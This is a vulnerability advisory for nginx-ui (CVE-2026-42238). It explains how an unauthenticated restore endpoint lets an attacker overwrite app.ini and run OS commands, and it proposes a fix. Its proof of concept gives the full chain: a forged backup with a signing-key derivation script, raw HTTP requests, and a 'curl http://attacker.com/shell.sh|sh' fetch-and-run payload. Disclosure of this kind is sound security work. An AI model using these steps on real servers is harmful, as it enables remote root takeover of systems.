CVE-2026-42238 — Vulnerability in github.com/0xJacky/nginx-ui —...

**Product:** nginx-ui **Repository:** `0xJacky/nginx-ui` (branch: `dev`) **Vulnerability Class:** Authentication Bypass → Arbitrary File Write → OS Command Injection **Affected Component:** `POST /api/restore` --- ## 1. Vulnerability Summary nginx-ui exposes a backup restore endpoint (`POST /api/restore`) that is **completely unauthenticated** during the first 10 minutes after process startup on any fresh installation. An unauthenticated remote attacker can upload a crafted backup archive that overwrites the application's configuration file (`app.ini`) and SQLite database. Because the attacker controls the restored `app.ini`, they can inject an arbitrary OS command into the `TestConfigCmd` setting. After the application automatically restarts to apply the restored config, a single follow-up request triggers that command as the user running nginx-ui — typically `root` in Docker deployments. The 10-minute unauthenticated window resets on every process restart, making this exploitable not only on initial deployments but on any restart event (container restart, upgrade, health-check-triggered restart). --- ## 2. Root Cause Analysis ### 2.1 The Restore Route Is Registered Without Authentication `backup.InitRouter` is called on the `root` group, which carries only `IPWhiteList()` middleware — no `AuthRequired()`: [1](#2-0) The route definition: [2](#2-1) ### 2.2 The `authIfInstalled` Guard Has a Time-Bounded Bypass The only authentication guard on the restore route is `authIfInstalled`: [3](#2-2) It calls `AuthRequired()` only when `InstallLockStatus() || IsInstallTimeoutExceeded()` is true. Both conditions are false on a fresh install within the first 10 minutes: [4](#2-3) - `InstallLockStatus()` returns `false` because `JwtSecret` is `""` on a fresh install and `SkipInstallation` defaults to `false`. - `IsInstallTimeoutExceeded()` returns `false` for the first 10 minutes after `startupTime` is set in `init()`. When both are `false`, `authIfInstalled` calls `ctx.Next()` with **zero authentication**. ### 2.3 The `EncryptedForm` Middleware Is Not a Security Barrier The `EncryptedForm()` middleware between `authIfInstalled` and `RestoreBackup` is **optional** — it only activates if the request includes an `encrypted_params` field. If that field is absent, it calls `c.Next()` immediately: [5](#2-4) An attacker sends a plain `multipart/form-data` request without `encrypted_params` and the middleware is a no-op. ### 2.4 The Attacker Controls the AES Key Used to Verify the Backup The restore handler accepts the AES key and IV directly from the attacker via the `security_token` form field: [6](#2-5) The manifest integrity check derives its HMAC signing key **from the attacker-supplied AES key**: [7](#2-6) Since the attacker crafts the backup and supplies the key, they can produce a valid HMAC signature for any manifest content they choose. The integrity check is self-referential and provides no security against a crafted backup. ### 2.5 Restore Overwrites `app.ini` and the SQLite Database Unconditionally When `restore_nginx_ui=true`, `restoreNginxUIConfig` directly copies files from the backup onto disk with no content validation: [8](#2-7) ### 2.6 Restored `TestConfigCmd` Is Executed as a Shell Command After restore, `risefront.Restart()` is called, reloading `app.ini`: [9](#2-8) On the next call to `TestConfig()`, the value of `TestConfigCmd` from the restored `app.ini` is passed verbatim to `/bin/sh -c`: [10](#2-9) [11](#2-10) --- ## 3. Attack Prerequisites | Requirement | Notes | |---|---| | Network access to nginx-ui port | Default: 9000/tcp | | Target is a fresh install | `JwtSecret` is empty in `app.ini` | | Within 10 minutes of last process start | Window resets on every restart | | IP not blocked by `IPWhiteList` | Default config has no IP whitelist | The 10-minute window is not a meaningful mitigation in practice. Docker containers restart frequently due to health checks, upgrades, and orchestrator rescheduling. Any restart resets `startupTime` via `init()`, reopening the window. --- ## 4. Step-by-Step Proof of Concept ### Step 1 — Confirm the installation window is open ```http GET /api/install HTTP/1.1 Host: target:9000 ``` Expected response confirming vulnerability: ```json {"lock": false, "timeout": false} ``` ### Step 2 — Craft the malicious backup The backup format (derived from `internal/backup/backup.go`) is: ``` backup-TIMESTAMP.zip ← outer ZIP (unencrypted) ├── manifest.json ← JSON manifest ├── manifest.sig ← HMAC-SHA256 of manifest.json ├── nginx-ui.zip ← AES-CBC encrypted inner ZIP └── nginx.zip ← AES-CBC encrypted inner ZIP ``` **2a.** Generate a random 32-byte AES key and 16-byte IV. **2b.** Create the malicious `app.ini` to place inside `nginx-ui.zip`: ```ini [app] JwtSecret = attacker_chosen_jwt_secret_32chars [node] Secret = attacker_chosen_node_secret [nginx] TestConfigCmd = curl http://attacker.com/shell.sh|sh ``` **2c.** Create a SQLite database (`nginx-ui.db`) with a known bcrypt hash for the admin user (optional — the node secret alone grants full API access). **2d.** Package `app.ini` and `nginx-ui.db` into `nginx-ui.zip`. Package an empty or minimal `nginx.zip`. **2e.** Encrypt both ZIPs with AES-256-CBC using your key and IV. **2f.** Compute SHA-256 hashes and sizes of the encrypted ZIPs. Build `manifest.json`: ```json { "schema": 1, "created_at": "20260421-120000", "version": "2.0.0", "files": [ {"name": "nginx-ui.zip", "sha256": "<hash>", "size": <size>}, {"name": "nginx.zip", "sha256": "<hash>", "size": <size>} ] } ``` **2g.** Compute the HMAC-SHA256 signature of `manifest.json` using the signing key derived as: ```python import hashlib, hmac context = b"nginx-ui-backup-signing-v1:" signing_key = hashlib.sha256(context + aes_key).digest() sig = hmac.new(signing_key, manifest_bytes, hashlib.sha256).hexdigest() ``` **2h.** Assemble the outer ZIP containing `manifest.json`, `manifest.sig`, `nginx-ui.zip`, `nginx.zip`. ### Step 3 — Upload the malicious backup (no authentication required) ```http POST /api/restore HTTP/1.1 Host: target:9000 Content-Type: multipart/form-data; boundary=----Boundary ------Boundary Content-Disposition: form-data; name="backup_file"; filename="evil.zip" Content-Type: application/zip [crafted backup bytes] ------Boundary Content-Disposition: form-data; name="security_token" <base64(aes_key)>:<base64(aes_iv)> ------Boundary Content-Disposition: form-data; name="restore_nginx_ui" true ------Boundary-- ``` Expected response (HTTP 200): ```json {"nginx_ui_restored": true, "nginx_restored": false, "hash_match": true} ``` nginx-ui calls `risefront.Restart()` 2 seconds later, loading the attacker's `app.ini`. ### Step 4 — Trigger RCE using the restored node secret After the restart (wait ~3 seconds): ```http POST /api/nginx/test HTTP/1.1 Host: target:9000 X-Node-Secret: attacker_chosen_node_secret ``` nginx-ui executes: ```sh /bin/sh -c "curl http://attacker.com/shell.sh|sh" ``` The attacker now has a reverse shell running as the nginx-ui process user (typically `root` in Docker). --- ## 5. Impact - **Confidentiality:** Full read access to all nginx configurations, TLS private keys, database contents, and secrets stored in `app.ini`. - **Integrity:** Arbitrary modification of all nginx configurations and nginx-ui application state. - **Availability:** Complete denial of service; nginx and nginx-ui can be stopped or misconfigured. - **Scope:** OS-level code execution. In Docker deployments (the primary distribution method), nginx-ui runs as root, giving the attacker full host access if the container has host mounts or privileged mode. --- ## 6. Affected Versions All versions of nginx-ui where `authIfInstalled` is used as the sole authentication guard on `POST /api/restore`. The vulnerability is present in the current `dev` branch. --- ## 7. Recommended Fix **Primary fix** — Require authentication unconditionally on the restore endpoint. The "allow restore during initial setup" design rationale does not justify unauthenticated access to a file-write primitive: ```go // api/backup/router.go func InitRouter(r *gin.RouterGroup) { r.GET("/backup", middleware.AuthRequired(), CreateBackup) r.POST("/restore", middleware.AuthRequired(), middleware.EncryptedForm(), RestoreBackup) } ``` If restore-during-setup is a required feature, it should be gated on a one-time setup token generated at startup and printed to the server console (similar to how Jenkins handles initial setup), not on a time window. **Secondary fix** — Validate the content of restored `app.ini` before writing it to disk. Specifically, `TestConfigCmd`, `ReloadCmd`, and `RestartCmd` should be rejected or stripped from any externally-supplied backup. --- ## 8. Timeline | Date | Event | |---|---| | 2026-04-21 | Vulnerability identified via source code review | | — | Vendor notification (pending) | | — | CVE assignment (pending) | ### Citations **File:** router/routers.go (L61-70) ```go root := r.Group("/api", middleware.IPWhiteList()) { public.InitRouter(root) crypto.InitPublicRouter(root) user.InitAuthRouter(root) license.InitRouter(root) system.InitPublicRouter(root) system.InitSelfCheckRouter(root) backup.InitRouter(root) ``` **File:** api/backup/router.go (L9-16) ```go // authIfInstalled requires auth if system is installed func authIfInstalled(ctx *gin.Context) { if system.InstallLockStatus() || system.IsInstallTimeoutExceeded() { middleware.AuthRequired()(ctx) } else { ctx.Next() } } ``` **File:** api/backup/router.go (L18-25) ```go func InitRouter(r *gin.RouterGroup) { // Backup always requires authentication (contains sensitive data) r.GET("/backup", middleware.AuthRequired(), CreateBackup) // Restore requires auth only after installation // This allows restoring backup during initial setup r.POST("/restore", authIfInstalled, middleware.EncryptedForm(), RestoreBackup) } ``` **File:** api/system/install.go (L27-34) ```go func InstallLockStatus() bool { return settings.NodeSettings.SkipInstallation || cSettings.AppSettings.JwtSecret != "" } // IsInstallTimeoutExceeded checks if installation time limit (10 minutes) is exceeded func IsInstallTimeoutExceeded() bool { return time.Since(startupTime) > 10*time.Minute } ``` **File:** internal/middleware/encrypted_params.go (L69-75) ```go // Check if encrypted_params field exists encryptedParams := c.Request.FormValue("encrypted_params") if encryptedParams == "" { // No encryption, continue normally c.Next() return } ``` **File:** api/backup/restore.go (L35-70) ```go securityToken := c.PostForm("security_token") // Get concatenated key and IV // Get backup file backupFile, err := c.FormFile("backup_file") if err != nil { cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrBackupFileNotFound, err.Error())) return } // Validate security token if securityToken == "" { cosy.ErrHandler(c, backup.ErrInvalidSecurityToken) return } // Split security token to get Key and IV parts := strings.Split(securityToken, ":") if len(parts) != 2 { cosy.ErrHandler(c, backup.ErrInvalidSecurityToken) return } aesKey := parts[0] aesIv := parts[1] // Decode Key and IV from base64 key, err := base64.StdEncoding.DecodeString(aesKey) if err != nil { cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrInvalidAESKey, err.Error())) return } iv, err := base64.StdEncoding.DecodeString(aesIv) if err != nil { cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrInvalidAESIV, err.Error())) return } ``` **File:** api/backup/restore.go (L126-132) ```go if restoreNginxUI { go func() { time.Sleep(2 * time.Second) // gracefully restart risefront.Restart() }() } ``` **File:** internal/backup/manifest.go (L156-163) ```go func deriveBackupSigningKeyFromAESKey(aesKey []byte) ([]byte, error) { if len(aesKey) == 0 { return nil, ErrInvalidAESKey } sum := sha256.Sum256(append([]byte(manifestKeyContext), aesKey...)) return sum[:], nil } ``` **File:** internal/backup/restore.go (L458-484) ```go // restoreNginxUIConfig restores nginx-ui configuration files func restoreNginxUIConfig(nginxUIBackupDir string) error { // Get config directory configDir := filepath.Dir(cosysettings.ConfPath) if configDir == "" { return ErrConfigPathEmpty } // Restore app.ini to the configured location srcConfigPath := filepath.Join(nginxUIBackupDir, "app.ini") if err := copyFile(srcConfigPath, cosysettings.ConfPath); err != nil { return err } // Restore database file if exists dbName := settings.DatabaseSettings.GetName() srcDBPath := filepath.Join(nginxUIBackupDir, dbName+".db") destDBPath := filepath.Join(configDir, dbName+".db") // Only attempt to copy if database file exists in backup if _, err := os.Stat(srcDBPath); err == nil { if err := copyFile(srcDBPath, destDBPath); err != nil { return err } } return nil ``` **File:** internal/nginx/nginx.go (L25-36) ```go func TestConfig() (stdOut string, stdErr error) { mutex.Lock() defer mutex.Unlock() if settings.NginxSettings.TestConfigCmd != "" { return execShell(settings.NginxSettings.TestConfigCmd) } sbin := GetSbinPath() if sbin == "" { return execCommand("nginx", "-t") } return execCommand(sbin, "-t") } ``` **File:** internal/nginx/exec.go (L12-28) ```go func execShell(cmd string) (stdOut string, stdErr error) { var execCmd *exec.Cmd if runtime.GOOS == "windows" { execCmd = exec.Command("cmd", "/c", cmd) } else { execCmd = exec.Command("/bin/sh", "-c", cmd) } execCmd.Dir = GetNginxExeDir() bytes, err := execCmd.CombinedOutput() stdOut = string(bytes) if err != nil { stdErr = err } return } ```